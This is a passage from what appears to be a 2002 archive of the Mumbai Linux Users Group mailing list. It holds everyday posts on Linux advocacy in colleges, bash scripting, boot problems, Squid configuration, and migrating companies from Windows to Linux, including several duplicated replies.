Subject: Linux Publicity Started in Mumbai Hello this is Yashraj , Remeber me [ the photographer in LINUX MEET + Linux Lover ] any way ! what i have done i will explain : i am back from PEN [ where my college is ] i put the complete idea abt Linux Awareness & Projects in front of HOD & Students association the seminar is fixed in FEB or so . The topics which i think to start with : 1] Easy way computing : that's abt M$ windows , cause people are using windows now ........so let's make clear abt nay of the doubts in that OS , giving the suggestion of TIPS & tricks & best softwares , easy softwares The Details : Easy Way Computing : Topics : Windows Environment Why Windows ? Overview of all the Best softwares for Windows Now how you use windows ? What maxmum you can do with windows ? What Professionals are doing with Windows ? Windows Operating in Most easy way Windows with " General Failure Error " Windows & MAC Windows & Linux Linux Awareness : Topics : What is Linux ? Why Linux ? Comparision between Windows & Linux Linux everywhere & no windows Linux Distributions * Linux's X-Windows Linux Applications * Industry Demand for Networking [ Network Engineers ] * Software Development in Windows & Linux * Hardware level / System Level Programming Future Scope in Linux , that's Job ! Use Linux & feel proud about it ! Projects for Engineering Students : Topics : Why not Software Projects ? Why software Projects ? What to Develop ? How to Develop ? What 's the value of our Project ? Relation of your Projects & Jobs Linux Platform for Development What you will Learn ? In future you will be with whome ? What you will know at the End of Project ? Join Linux User's Group & Open Source Revolution What about Scope in Hardware , Hardware - Software ? Does Networking comes under this ? Can we do or get Study Projects based on Latest Technology ? Are you Ready ? SourceForge Projects : Communications (6335 projects) Database (2499 projects) Desktop Environment (1474 projects) Education (1173 projects) Games/Entertainment (5937 projects) Internet (9823 projects) Multimedia (4808 projects) Office/Business (1848 projects) Other/Nonlisted Topic (1044 projects) Printing (174 projects) Religion (112 projects) Scientific/Engineering (3211 projects) Security (1106 projects) Sociology (124 projects) Software Development (6702 projects) System (7905 projects) Terminals (250 projects) Text Editors (1093 projects) ### i will be taking these things in college as a Seminar cum TALKSHOW ! ######## what you think abt it ? i want more material regarding projects ? software & hardware projects ? _ very important now do not ask me to search Sourceforge.net ,,,,,, i have seen , but at our best can provide or suggest to students that i want . still i think Degree eng . students do not get enough time to develop the projects . that's a fact ! so better we should see them in other way .......we can only make awareness of linux among them . for giving PROJECTS we sould find other audience [ other than deg. eng students , at least not in electronics ( Hardware ) ] we should approach Comouter branch & give a Try . if you want i can go to any of the college & will give brief idea abt " why Linux ? " to GET THEIR INTEREST not to teach them anything at that moment ! i have tried in my college like this : " they just know or may be not ( in some cases ] abt LINUX " , heard abt it " , haven't seen , Will only like know abt it , Not to use it at this moment ! _______ Students said so ! What i want from you is , the complete details ( in written format ) abt : Why LINUX ? Where can it can be ? why better than MS win ? which projects we can give ? who we are in LINUX World ? sir these details are EXTREMELY important ! i am Graphic gesigner so i will be able to make LINUX wallpaper [ by my own ] if get the BEST Punch lines & the above details ! so let me know abt what you think abt : My research on student my idea my vimp request abt linux pulicity material Yashraj _ iamprince

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Bash script doubt
by Nikhil Joshi 18 Nov '02

18 Nov '02

Hi! I'm trying to take command line args with the help of a bash script But i'm not able to achieve it Pls guide. #!/bin/bash # i want to detect command line options # e.g. sample.sh -1 foo1 -2 foo2 -3 foo3 # then i want following : arg1=foo1, arg2=foo2 , arg3=foo3 # I tried following but arg1 takes the value $2, arg2 $3 and arg3 $3 count=0 # counter to track current command line arg for cmd in $@ do count=`expr $count + 1` # count = count + 1 if `test $cmd = -1` then arg1=$`expr $count + 1` echo $arg1 # unfortunately it gives $2 and not foo1 fi done

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how to configure squid+wccp
by Sukhjit Singh 18 Nov '02

18 Nov '02

Hi all kindly help in configuring squid and wccp with cisco 3660 Regards Sukhjit Singh Network Administrator Emmsons Infotech Ltd. SCO 13-14-15, Sec 34A, Chandigarh-160 022 (Ph): +91 172 606664 sukhjits(a)emmtel.com http://www.emmtel.com

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re: [ILUG-BOM] Thinkin in c++ part 2 html format
by N.a.v.i.n ....D.h.a.n.u.k.a 18 Nov '02

18 Nov '02

Convert the pdf to html using pdf2html http://freshmeat.net/projects/pdf2html/?topic_id=867 Hi All Does any one of you have Thinking in c++ part 2 in html format from bruceeckel.com. Currently they have only the PDF and Doc format on the site. Thanks Abhijeet D Mhatre __________________________________________________ Do you Yahoo!? Yahoo! Web Hosting - Let the expert host your site http://webhosting.yahoo.com

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.kab to .csv
by Abhijeet D Mhatre 18 Nov '02

18 Nov '02

Hi all Does anyone know how to export the addressbook.kab to addressbook.csv. Also where does Kmail 1.4.1 which comes with RHLinux 7.3 store its addressbook. regards Abhijeet D Mhatre

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Thinkin in c++ part 2 html format
by Abhijeet D Mhatre 18 Nov '02

18 Nov '02

Hi All Does any one of you have Thinking in c++ part 2 in html format from bruceeckel.com. Currently they have only the PDF and Doc format on the site. Thanks Abhijeet D Mhatre

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identify all process-id's of netscape!
by Vimala-SP 17 Nov '02

17 Nov '02

Hai, I am running Redhat -7.1. Having some specific query related to netscape in linux. when we open multiple netscape sessions, in gui of linux, all netscape sessions are listed under only one parent netscape session. I would like to all the process-ids of nestcape and map it to the netstat results. I have tried all ps options / ".netscape/lock" / "proc/process-id values. If i am missing out something can u tell me. -vimala/.

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something realted to NIC in promiscuous
by Vimala-SP 17 Nov '02

17 Nov '02

Hai, My query is How do i identify the status of all nic cards in my mac. I accept ifconfig will do, but how do i find out if any of NICs are in promiscuous mode or not? -vimala/.

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[OT] More MS sec flaws
by Amol Hatwar 17 Nov '02

17 Nov '02

More security flaws have been revealed in IE, precisely in the way PNGs are interpreted. One of the people who discovered the flaw has even written a poem on it. Find more news here: http://www.vnunet.com/News/1137611 The flaw comes after many sites (especially ones titled to Free Software) stopped using GIFs and started using PNG based images. Is this coincidence? Regards, Amol Hatwar.

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DevFS
by Amish Munshi 17 Nov '02

17 Nov '02

Hello everyone, I was busy for a few days and had delivary to my account off for the mailing lists. Is there anything very major happenning on the list? I am using Mandrake 9.0 and something called DevFS starts everytime I boot up my PC. It takes approx 30 seconds of time during bootup. I realized that the following in /etc/rc.d/rc.sysinit causes it to run. # Try to get devfsd if [ -c /dev/.devfsd ]; then if [ -x /sbin/devfsd ]; then action "Running DevFs daemon" devfsd /dev else if ! grep -q "nodevfsd" /proc/cmdline;then # devfs is used but devfsd isn't installed quiet off gprintf " #### your system is currently using devfs but devfsd isn't availlable" gprintf " #### you should disable devfs (add 'devfs=nomount' to the paramaters" gprintf " #### that your bootloader gives to the kernel" # Let devfs being tested, but disable it on /dev action " Disabling devfs (was mounted on /dev)" umount /dev fi fi fi Can I disable it, I do not understand what it is. There is no man or any other info for it. Thanks in advance. Bye.

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Generating images through scripts
by Chetan Vaity 17 Nov '02

17 Nov '02

I want to create simple images (mostly lines and text) programatically. Has anyone dabbled with Gimp scripting to create images? Or can someone tell me another tool/program which does something similar. - Chetan

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[OT] Economic Times Article "Windows far ahead of Linux: Gates"
by Nikhil Kale 17 Nov '02

17 Nov '02

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Asus V3005
by Satish Alwani 17 Nov '02

17 Nov '02

Hi I havent yet joined ilug yet.. will do so in a while.. if someone can forward me the exact url.. coz the site only shows me a mail login. Anyways.. I have a Asus V3005 32 MB agp (with respect to http://mm.ilug-bom.org.in/pipermail/linuxers/Week-of-Mon-20020708/005425.htm l) and I'd like to know if anyone has found a workable cure for this. I am trying to use this on Redhat 8.0 Thanks, Satish ilug(a)assid.com

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FYI - Yahoo messenger port change
by Philip S Tellis 17 Nov '02

17 Nov '02

It appears that the port number for yahoo messenger has changed. While windows clients don't have a problem, the linux client has the port number written in its .ymessenger/preferences file Change 5050 to 23 in there. Same is true for everybuddy - change in the preferences window, or in .everybuddy/prefs gaim too probably. Philip -- "Extremism in the defense of liberty is no vice; moderation in the pursuit of justice is no virtue." -- Barry Goldwater (actually written by Karl Hess)

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Web publishers face worldwide legal liability
by Kiran Nadgir 17 Nov '02

17 Nov '02

A judgment in Australia may mean web publishers face worldwide legal liability, says Dan Tench http://media.guardian.co.uk/mediaguardian/story/0,7558,860512,00.html ----------------------------------------------------------------- Kiran Nadgir Mahindra British Telecom. Tel : 56922000 extn - 8070. Mobile - 9820444403. Email - kirann(a)mahindrabt.com WebSite: www.mahindrabt.com ----------------------------------------------------------------- Quote of the week ~~ " If I have seen farther than other men, it is because I stood on the shoulders of giants." Sir Isaac Newton ~~ ----------------------------------------------------------------- ********************************************************* Disclaimer This message (including any attachments) contains confidential information intended for a specific individual and purpose, and is protected by law. If you are not the intended recipient, you should delete this message and are hereby notified that any disclosure, copying, or distribution of this message, or the taking of any action based on it, is strictly prohibited. ********************************************************* Visit us at http://www.mahindrabt.com

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OT - Topology plotting
by kishor bhagwat 17 Nov '02

17 Nov '02

hello guys, I'm facing a vexing problem...one of my colleagues is writing a network mgmt system thats queries our WAN devices, collects info on their 'neighbours' and is supposed to plot the topology of the network. so basically...the input to the plotting program would be a list of: nodeID,{set of its neighbours}

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Check out Developement Languages
by Sachin Rase 17 Nov '02

17 Nov '02

[Fwd: [Ilugc] developer cd update.] -- Regards ----------- Sachin Rase MediaIBC ----------

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I have also been hacked in almost they exact same way you have.
by toeknee 17 Nov '02

17 Nov '02

I unplugged my cracked linux box from my network. I have tried not to tamper too much with the log messages however after reading your thread I to noticed in my .bash_history file there were very many similarities in your story. Let me know what I can do to help. Im not a linux guru but I did do really well in two unix classes I just took so I sort of know my way around. ToeKnee

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Re: Re: [OT] Ignorance is bliss (Saswata Banerjee & Associates)
by chetan v ingle 17 Nov '02

17 Nov '02

Hi everybody, I am newbie to this group.let me introduce myself. I am Chetan Ingle working in Rolta india ltd as s/w engg.Working on advanced java and redhat linux.Well When after started working on linux I simply fall in luv with linux and now I fall in luv I don't wanna come back . So I want everything on linux. Well I just read message of Saswat Banerji,I think it's easy to migrate to linux so we can convince customer.I have over 2 years experience on linux and java where i have done same thing like migrating application to linux.The only thing we have to do is give good technical support to customer after migration.Once we do for one customer then remaining customers will be convinced automatically. let me know ur views too. Regards, Chetan Ingle On Sat, 16 Nov 2002 linuxers-request(a)mm.ilug-bom.org.in wrote : >Send Linuxers mailing list submissions to > linuxers(a)mm.ilug-bom.org.in > >To subscribe or unsubscribe via the World Wide Web, visit > http://mm.ilug-bom.org.in/mailman/listinfo/linuxers >or, via email, send a message with subject or body 'help' to > linuxers-request(a)mm.ilug-bom.org.in > >You can reach the person managing the list at > linuxers-admin(a)mm.ilug-bom.org.in > >When replying, please edit your Subject line so it is more >specific >than "Re: Contents of Linuxers digest..." > > >Today's Topics: > > 1. Re: [OT] Ignorance is bliss (Saswata Banerjee & >Associates) > 2. Re: [OT] Ignorance is bliss (Amol Hatwar) > 3. Re: [OT] Ignorance is bliss (Amol Hatwar) > 4. Re: [OT] Ignorance is bliss (Amol Hatwar) > 5. Re: [OT] Ignorance is bliss (kishor bhagwat) > 6. Re: [OT] Ignorance is bliss (Amol Hatwar) > 7. Re: [OT] Ignorance is bliss (q u a s i) > 8. Re: OT - Topology plotting (Satya) > 9. Re: [OT] Ignorance is bliss (Vinayak Hegde) > 10. Re: [OT] Ignorance is bliss (Vinayak Hegde) > 11. Re: [OT] Ignorance is bliss (Vinayak Hegde) > >--__--__-- > >Message: 1 > From: "Saswata Banerjee & Associates" ><scrap(a)saswatabanerjee.com> >To: <linuxers(a)mm.ilug-bom.org.in> >Subject%3

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cannot boot into GNU/Linux
by aditya newalkar 17 Nov '02

17 Nov '02

Hi guys, I am facing somewhat wierd problem. I have Toshiba Laptop (Satellite 1410, Celeron 1.8GHz, 256MB RAM, NVIDIA GeForce4 420 Go Processor with 16 MB VRAM, 30 GB Hitachi IDE Harddisk, Windows XP preinstalled). I partitioned the harddisk using Partition Magic 7.0 into 15GB NTFS C: and 15GB E: FAT32. I installed Redhat 7.2 into that. I made following partitions /boot 100MB / 5GB /usr 3GB /home 3GB /var 3GB swap 512MB actually that much was not needed ... but anyway ;) Now Windows would boot without problem (fortunately) but it would not go to GNU/Linux at all! So I prepared a bootdisk with rawrite and went to rescue mode. I had experimented with GRUB this time which I don't have much idea about ;) In rescue mode it would mount my file system to /mnt/sysimage. To my surprise I found /boot partition empty! No vmlinuz there! Some pages about GRUB had instructed me to type "grub-install" on the command prompt. But that would say "/sbin/grub not found". So I figured probably this was becoz of the mounting the whole file system to /mnt/sysimage. So I saw that grub-install is a shell script I can modify. So I changed some variables to reflect the new mounting. But now it would give message that some file in /mnt/sysimage/usr/i386... is missing! I cannot make head to tail of that message. One mistake that I have done which seems to be quite common, while installing GRUB is I have not labelled the Windows XP partition. Apart from that I got one warning while installing that my architecture may not support the partitioning that I have made. As a GNU/Linux enthusiast I don't want to erase the system that is installed and am trying to find a way to make things work without it as I can. The questions are: 1) Why /boot partition is empty? 2) Why GRUB would not load? 3) What I need to do without going thru the hassels of reinstallation? Thanx ===== rgds, Aditya N. ======= Graduate Student, Electrical & Computer Engineering Department, Auburn University, Auburn AL, USA. __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com

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Downloading MP3
by Jeetu Golani 17 Nov '02

17 Nov '02

Hey guys, Could anyone tell me where I can download a P2P client for Linux that'll let me download MP3 music. Limewire can't connect for some reason (maybe my ISP=Powersurfer, blocking Gnutella??). I'd really appreciate this Thanks

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MS un-denial leaves Linux option open
by Kiran Nadgir 17 Nov '02

17 Nov '02

Meta Group has made a bold prediction that Microsoft will deliver some server-side software to run on Linux beginning next year, but Redmond's official "denial" leaves the option wide open. It revives a rumor that's been doing the rounds for two years. Starting with .NET, thinks Meta Group, Microsoft will eventually move SQL Server and Exchange to the OS, too. Read more.. @.. http://www.theregister.co.uk/content/53/28516.html ----------------------------------------------------------------- Kiran Nadgir Mahindra British Telecom. Tel : 56922000 extn - 8070. Mobile - 9820444403. Email - kirann(a)mahindrabt.com WebSite: www.mahindrabt.com ----------------------------------------------------------------- Quote of the week ~~ " If I have seen farther than other men, it is because I stood on the shoulders of giants." Sir Isaac Newton ~~ ----------------------------------------------------------------- ********************************************************* Disclaimer This message (including any attachments) contains confidential information intended for a specific individual and purpose, and is protected by law. If you are not the intended recipient, you should delete this message and are hereby notified that any disclosure, copying, or distribution of this message, or the taking of any action based on it, is strictly prohibited. ********************************************************* Visit us at http://www.mahindrabt.com

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Hi.. I am a new Lugger..
by Dileep Kumar 16 Nov '02

16 Nov '02

Hello everybody, I am new to LUG Mumbai I am a s/w engr working with Tata Consultancy Services, Borivali Mumbai. I would like to be part of the activities of LUG Mumbai and to spread a word about the greatness of GNU/Linux to my colleagues and friends.I will try to attend your next meeting at VJTI. Does LUG have any program like visiting different companies and schools/ colleges to spread awareness about Open source software. If so I can arrange for the facilities in TCS. Warm Regards dk.

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Re: Re: [ILUG-BOM] [OT] Ignorance is bliss
by chetan v ingle 16 Nov '02

16 Nov '02

Hi everybody, I am newbie to this group.let me introduce myself. I am Chetan Ingle working in Rolta india ltd as s/w engg.Working on advanced java and redhat linux.Well When after started working on linux I simply fall in luv with linux and now I fall in luv I don't wanna come back . So I want everything on linux. Well I just read message of Saswat Banerji,I think it's easy to migrate to linux so we can convince customer.I have over 2 years experience on linux and java where i have done same thing like migrating application to linux.The only thing we have to do is give good technical support to customer after migration.Once we do for one customer then remaining customers will be convinced automatically. let me know ur views too. Regards, Chetan Ingle On Sat, 16 Nov 2002 linuxers-request(a)mm.ilug-bom.org.in wrote : >Send Linuxers mailing list submissions to > linuxers(a)mm.ilug-bom.org.in > >To subscribe or unsubscribe via the World Wide Web, visit > http://mm.ilug-bom.org.in/mailman/listinfo/linuxers >or, via email, send a message with subject or body 'help' to > linuxers-request(a)mm.ilug-bom.org.in > >You can reach the person managing the list at > linuxers-admin(a)mm.ilug-bom.org.in > >When replying, please edit your Subject line so it is more >specific >than "Re: Contents of Linuxers digest..." > > >Today's Topics: > > 1. Re: [OT] Ignorance is bliss (Saswata Banerjee & >Associates) > 2. Re: [OT] Ignorance is bliss (Amol Hatwar) > 3. Re: [OT] Ignorance is bliss (Amol Hatwar) > 4. Re: [OT] Ignorance is bliss (Amol Hatwar) > 5. Re: [OT] Ignorance is bliss (kishor bhagwat) > 6. Re: [OT] Ignorance is bliss (Amol Hatwar) > 7. Re: [OT] Ignorance is bliss (q u a s i) > 8. Re: OT - Topology plotting (Satya) > 9. Re: [OT] Ignorance is bliss (Vinayak Hegde) > 10. Re: [OT] Ignorance is bliss (Vinayak Hegde) > 11. Re: [OT] Ignorance is bliss (Vinayak Hegde) > >--__--__-- > >Message: 1 > From: "Saswata Banerjee & Associates" ><scrap(a)saswatabanerjee.com> >To: <linuxers(a)mm.ilug-bom.org.in> >Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss >Date: Fri, 15 Nov 2002 19:28:24 +0530 >Reply-To: linuxers(a)mm.ilug-bom.org.in > >Connected with the same topic actually, > >If we manage to convince one of our clients to move at least >partially to >linux, how can ILUG help them ? > >I am talking about companies falling between small and mid-sized >companies >in service industry. Say with 150-200 people working for them ? >Can we >promise such people help in moving to Linux and help in solving >problems >that they face ? > >Companies like these are not the ones who can use help from >usenet or such >things. > >I have been telling my clients that Linux is a good platform to >move to, >specially since it does not make sense to pay huge amounts for >official >windows software. I have also told them that the platform is very >stable, >meaning that once installed, unless you fiddle with things, it >will work >trouble free for years. But they are still worried about whether >they will >be able to cope up with problems that they may face. (Neither can >they >afford to have expensive tech-support contracts) > >Regards >Saswata > > > > >--__--__-- > >Message: 3 > From: "Amol Hatwar" <rollacosta(a)phreaker.net> >To: <linuxers(a)mm.ilug-bom.org.in> >Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss >Date: Fri, 15 Nov 2002 20:11:45 +0530 >Reply-To: linuxers(a)mm.ilug-bom.org.in > > > Connected with the same topic actually, > > > > If we manage to convince one of our clients to move at least >partially to > > linux, how can ILUG help them ? > >Maybe we should try this area as well. What say people. The best >way to >prove your ability is by DOING IT. > > > I am talking about companies falling between small and >mid-sized companies > > in service industry. Say with 150-200 people working for them >? Can we > > promise such people help in moving to Linux and help in >solving problems > > that they face ? >*snip* > >I am thinking of starting a Consulting company that will do only >GNU/Linux >and M$ to GNU/Linux migration. And I am looking for willing >customers... > >Saswata where can I get in touch with you regarding this? > >Warm wishes, > >Amol Hatwar.

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Re: Re: [ILUG-BOM] [OT] Ignorance is bliss
by chetan v ingle 16 Nov '02

16 Nov '02

Hi everybody, I am newbie to this group.let me introduce myself. I am Chetan Ingle working in Rolta india ltd as s/w engg.Working on advanced java and redhat linux.Well When after started working on linux I simply fall in luv with linux and now I fall in luv I don't wanna come back . So I want everything on linux. Well I just read message of Saswat Banerji,I think it's easy to migrate to linux so we can convince customer.I have over 2 years experience on linux and java where i have done same thing like migrating application to linux.The only thing we have to do is give good technical support to customer after migration.Once we do for one customer then remaining customers will be convinced automatically. let me know ur views too. Regards, Chetan Ingle On Sat, 16 Nov 2002 linuxers-request(a)mm.ilug-bom.org.in wrote : >Send Linuxers mailing list submissions to > linuxers(a)mm.ilug-bom.org.in > >To subscribe or unsubscribe via the World Wide Web, visit > http://mm.ilug-bom.org.in/mailman/listinfo/linuxers >or, via email, send a message with subject or body 'help' to > linuxers-request(a)mm.ilug-bom.org.in > >You can reach the person managing the list at > linuxers-admin(a)mm.ilug-bom.org.in > >When replying, please edit your Subject line so it is more >specific >than "Re: Contents of Linuxers digest..." > > >Today's Topics: > > 1. Re: [OT] Ignorance is bliss (Saswata Banerjee & >Associates) > 2. Re: [OT] Ignorance is bliss (Amol Hatwar) > 3. Re: [OT] Ignorance is bliss (Amol Hatwar) > 4. Re: [OT] Ignorance is bliss (Amol Hatwar) > 5. Re: [OT] Ignorance is bliss (kishor bhagwat) > 6. Re: [OT] Ignorance is bliss (Amol Hatwar) > 7. Re: [OT] Ignorance is bliss (q u a s i) > 8. Re: OT - Topology plotting (Satya) > 9. Re: [OT] Ignorance is bliss (Vinayak Hegde) > 10. Re: [OT] Ignorance is bliss (Vinayak Hegde) > 11. Re: [OT] Ignorance is bliss (Vinayak Hegde) > >--__--__-- > >Message: 1 > From: "Saswata Banerjee & Associates" ><scrap(a)saswatabanerjee.com> >To: <linuxers(a)mm.ilug-bom.org.in> >Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss >Date: Fri, 15 Nov 2002 19:28:24 +0530 >Reply-To: linuxers(a)mm.ilug-bom.org.in > >Connected with the same topic actually, > >If we manage to convince one of our clients to move at least >partially to >linux, how can ILUG help them ? > >I am talking about companies falling between small and mid-sized >companies >in service industry. Say with 150-200 people working for them ? >Can we >promise such people help in moving to Linux and help in solving >problems >that they face ? > >Companies like these are not the ones who can use help from >usenet or such >things. > >I have been telling my clients that Linux is a good platform to >move to, >specially since it does not make sense to pay huge amounts for >official >windows software. I have also told them that the platform is very >stable, >meaning that once installed, unless you fiddle with things, it >will work >trouble free for years. But they are still worried about whether >they will >be able to cope up with problems that they may face. (Neither can >they >afford to have expensive tech-support contracts) > >Regards >Saswata > > > > >--__--__-- > >Message: 3 > From: "Amol Hatwar" <rollacosta(a)phreaker.net> >To: <linuxers(a)mm.ilug-bom.org.in> >Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss >Date: Fri, 15 Nov 2002 20:11:45 +0530 >Reply-To: linuxers(a)mm.ilug-bom.org.in > > > Connected with the same topic actually, > > > > If we manage to convince one of our clients to move at least >partially to > > linux, how can ILUG help them ? > >Maybe we should try this area as well. What say people. The best >way to >prove your ability is by DOING IT. > > > I am talking about companies falling between small and >mid-sized companies > > in service industry. Say with 150-200 people working for them >? Can we > > promise such people help in moving to Linux and help in >solving problems > > that they face ? >*snip* > >I am thinking of starting a Consulting company that will do only >GNU/Linux >and M$ to GNU/Linux migration. And I am looking for willing >customers... > >Saswata where can I get in touch with you regarding this? > >Warm wishes, > >Amol Hatwar.

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Re: Re: [ILUG-BOM] [OT] Ignorance is bliss : Saswata Banerjee & Associates
by chetan v ingle 16 Nov '02

16 Nov '02

Hi everybody, I am newbie to this group.let me introduce myself. I am Chetan Ingle working in Rolta india ltd as s/w engg.Working on advanced java and redhat linux.Well When after started working on linux I simply fall in luv with linux and now I fall in luv I don't wanna come back . So I want everything on linux. Well I just read message of Saswat Banerji,I think it's easy to migrate to linux so we can convince customer.I have over 2 years experience on linux and java where i have done same thing like migrating application to linux.The only thing we have to do is give good technical support to customer after migration.Once we do for one customer then remaining customers will be convinced automatically. let me know ur views too. Regards, Chetan Ingle On Sat, 16 Nov 2002 linuxers-request(a)mm.ilug-bom.org.in wrote : >Send Linuxers mailing list submissions to > linuxers(a)mm.ilug-bom.org.in > >To subscribe or unsubscribe via the World Wide Web, visit > http://mm.ilug-bom.org.in/mailman/listinfo/linuxers >or, via email, send a message with subject or body 'help' to > linuxers-request(a)mm.ilug-bom.org.in > >You can reach the person managing the list at > linuxers-admin(a)mm.ilug-bom.org.in > >When replying, please edit your Subject line so it is more >specific >than "Re: Contents of Linuxers digest..." > > >Today's Topics: > > 1. Re: [OT] Ignorance is bliss (Saswata Banerjee & >Associates) > 2. Re: [OT] Ignorance is bliss (Amol Hatwar) > 3. Re: [OT] Ignorance is bliss (Amol Hatwar) > 4. Re: [OT] Ignorance is bliss (Amol Hatwar) > 5. Re: [OT] Ignorance is bliss (kishor bhagwat) > 6. Re: [OT] Ignorance is bliss (Amol Hatwar) > 7. Re: [OT] Ignorance is bliss (q u a s i) > 8. Re: OT - Topology plotting (Satya) > 9. Re: [OT] Ignorance is bliss (Vinayak Hegde) > 10. Re: [OT] Ignorance is bliss (Vinayak Hegde) > 11. Re: [OT] Ignorance is bliss (Vinayak Hegde) > >--__--__-- > >Message: 1 > From: "Saswata Banerjee & Associates" ><scrap(a)saswatabanerjee.com> >To: <linuxers(a)mm.ilug-bom.org.in> >Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss >Date: Fri, 15 Nov 2002 19:28:24 +0530 >Reply-To: linuxers(a)mm.ilug-bom.org.in > >Connected with the same topic actually, > >If we manage to convince one of our clients to move at least >partially to >linux, how can ILUG help them ? > >I am talking about companies falling between small and mid-sized >companies >in service industry. Say with 150-200 people working for them ? >Can we >promise such people help in moving to Linux and help in solving >problems >that they face ? > >Companies like these are not the ones who can use help from >usenet or such >things. > >I have been telling my clients that Linux is a good platform to >move to, >specially since it does not make sense to pay huge amounts for >official >windows software. I have also told them that the platform is very >stable, >meaning that once installed, unless you fiddle with things, it >will work >trouble free for years. But they are still worried about whether >they will >be able to cope up with problems that they may face. (Neither can >they >afford to have expensive tech-support contracts) > >Regards >Saswata > > > > >--__--__-- > >Message: 3 > From: "Amol Hatwar" <rollacosta(a)phreaker.net> >To: <linuxers(a)mm.ilug-bom.org.in> >Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss >Date: Fri, 15 Nov 2002 20:11:45 +0530 >Reply-To: linuxers(a)mm.ilug-bom.org.in > > > Connected with the same topic actually, > > > > If we manage to convince one of our clients to move at least >partially to > > linux, how can ILUG help them ? > >Maybe we should try this area as well. What say people. The best >way to >prove your ability is by DOING IT. > > > I am talking about companies falling between small and >mid-sized companies > > in service industry. Say with 150-200 people working for them >? Can we > > promise such people help in moving to Linux and help in >solving problems > > that they face ? >*snip* > >I am thinking of starting a Consulting company that will do only >GNU/Linux >and M$ to GNU/Linux migration. And I am looking for willing >customers... > >Saswata where can I get in touch with you regarding this? > >Warm wishes, > >Amol Hatwar. >

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Re: Re: [OT] Ignorance is bliss (Saswata Banerjee & Associates)
by chetan v ingle 16 Nov '02

16 Nov '02

Hi everybody, I am newbie to this group.let me introduce myself. I am Chetan Ingle working in Rolta india ltd as s/w engg.Working on advanced java and redhat linux.Well When after started working on linux I simply fall in luv with linux and now I fall in luv I don't wanna come back . So I want everything on linux. Well I just read message of Saswata Banerji,I think it's easy to migrate to linux so we can convince customer.I have over 2 years experience on linux and java where i have done same thing like migrating application to linux.The only thing we have to do is give good technical support to customer after migration.Once we do for one customer then remaining customers will be convinced automatically. let me know ur views too. Regards, Chetan Ingle On Sat, 16 Nov 2002 linuxers-request(a)mm.ilug-bom.org.in wrote : >Send Linuxers mailing list submissions to > linuxers(a)mm.ilug-bom.org.in > >To subscribe or unsubscribe via the World Wide Web, visit > http://mm.ilug-bom.org.in/mailman/listinfo/linuxers >or, via email, send a message with subject or body 'help' to > linuxers-request(a)mm.ilug-bom.org.in > >You can reach the person managing the list at > linuxers-admin(a)mm.ilug-bom.org.in > >When replying, please edit your Subject line so it is more >specific >than "Re: Contents of Linuxers digest..." > > >Today's Topics: > > 1. Re: [OT] Ignorance is bliss (Saswata Banerjee & >Associates) > 2. Re: [OT] Ignorance is bliss (Amol Hatwar) > 3. Re: [OT] Ignorance is bliss (Amol Hatwar) > 4. Re: [OT] Ignorance is bliss (Amol Hatwar) > 5. Re: [OT] Ignorance is bliss (kishor bhagwat) > 6. Re: [OT] Ignorance is bliss (Amol Hatwar) > 7. Re: [OT] Ignorance is bliss (q u a s i) > 8. Re: OT - Topology plotting (Satya) > 9. Re: [OT] Ignorance is bliss (Vinayak Hegde) > 10. Re: [OT] Ignorance is bliss (Vinayak Hegde) > 11. Re: [OT] Ignorance is bliss (Vinayak Hegde) > >--__--__-- > >Message: 1 > From: "Saswata Banerjee & Associates" ><scrap(a)saswatabanerjee.com> >To: <linuxers(a)mm.ilug-bom.org.in> >Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss >Date: Fri, 15 Nov 2002 19:28:24 +0530 >Reply-To: linuxers(a)mm.ilug-bom.org.in > >Connected with the same topic actually, > >If we manage to convince one of our clients to move at least >partially to >linux, how can ILUG help them ? > >I am talking about companies falling between small and mid-sized >companies >in service industry. Say with 150-200 people working for them ? >Can we >promise such people help in moving to Linux and help in solving >problems >that they face ? > >Companies like these are not the ones who can use help from >usenet or such >things. > >I have been telling my clients that Linux is a good platform to >move to, >specially since it does not make sense to pay huge amounts for >official >windows software. I have also told them that the platform is very >stable, >meaning that once installed, unless you fiddle with things, it >will work >trouble free for years. But they are still worried about whether >they will >be able to cope up with problems that they may face. (Neither can >they >afford to have expensive tech-support contracts) > >Regards >Saswata > > > >--__--__-- > >Message: 2 > From: "Amol Hatwar" <rollacosta(a)phreaker.net> >To: <linuxers(a)mm.ilug-bom.org.in> >Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss >Date: Fri, 15 Nov 2002 19:51:33 +0530 >Reply-To: linuxers(a)mm.ilug-bom.org.in > > ----- Original Message ----- > > From: "Amol Hatwar" <rollacosta(a)phreaker.net> > > To: <linuxers(a)mm.ilug-bom.org.in> > > Sent: Friday, November 15, 2002 6:20 PM > > Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss > > > > > > >> market share in desktop environment. The entire core of >dotnet strategy > > is > > >> to move things away from the desktop / client and move the >processing >to > > >>the > > >> server > > > These days are too far. The people at Sun thought about the >Network > > Computer > > > and burnt their hands. > > > > > > Sometimes I use connection speeds where even the K is absent >;). > > > > DotNet was thougth out and designed when the DotCom boom was >at its crest > > and every one was saying the all corporate will move to ASP >(Application > > Service Provider) model of computing. The dotnet strategy >could, obviously > > not be changed at this stage though the dotcom boom ended, so >its features > > are still there waiting for the time when it will be >implemented. Till >then, > > it will only serve to further bloat windows software. > >The ASP model in general was a failure how many more dot-com >companies do we >need to prove that. > > > > > As for Network Computer, I think one hand it was badly >marketed, and on >the > > other hand, there was very little benefit of moving to that >platform. The > > savings at each client was minimum and that power demand >requirement added > > on the server side was too much. Sun based its NC strategy >on > > "Anit-Microsoft" platform rather on user needs and benefits. > >The NC seems promising even today. But then lets wait for IBM to >eat Sun ;). >Maybe then it will be more valid. > >Regards, > >Amol Hatwar. > > > > > >--__--__-- > >Message: 3 > From: "Amol Hatwar" <rollacosta(a)phreaker.net> >To: <linuxers(a)mm.ilug-bom.org.in> >Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss >Date: Fri, 15 Nov 2002 20:11:45 +0530 >Reply-To: linuxers(a)mm.ilug-bom.org.in > > > Connected with the same topic actually, > > > > If we manage to convince one of our clients to mo

